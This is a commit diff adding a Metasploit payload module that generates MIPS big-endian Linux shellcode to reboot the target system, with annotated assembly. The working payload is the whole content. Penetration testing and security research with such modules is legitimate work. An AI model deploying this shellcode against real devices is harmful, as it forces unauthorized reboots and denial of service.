Land PR rapid7#3127, @m-1-k-3's mipsbe reboot payload, into master

Author: joevennix

modules/payloads/singles/linux/mipsbe/reboot.rb

@@ -0,0 +1,52 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Reboot',
+      'Description'   => %q{
+                A very small shellcode for rebooting the system.
+                This module is sometimes helpful for testing purposes.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <[email protected]>', #metasploit payload
+          'rigan - <[email protected]>'  #original payload
+        ],
+      'References'    => ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php'],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+  end
+
+  def generate
+
+    shellcode =
+        "\x3c\x06\x43\x21" +  #lui     a2,0x4321
+        "\x34\xc6\xfe\xdc" +  #ori     a2,a2,0xfedc
+        "\x3c\x05\x28\x12" +  #lui     a1,0x2812
+        "\x34\xa5\x19\x69" +  #ori     a1,a1,0x1969
+        "\x3c\x04\xfe\xe1" +  #lui     a0,0xfee1
+        "\x34\x84\xde\xad" +  #ori     a0,a0,0xdead
+        "\x24\x02\x0f\xf8" +  #li      v0,4088
+        "\x01\x01\x01\x0c"    #syscall 0x40404
+
+    return super + shellcode
+  end
+
+end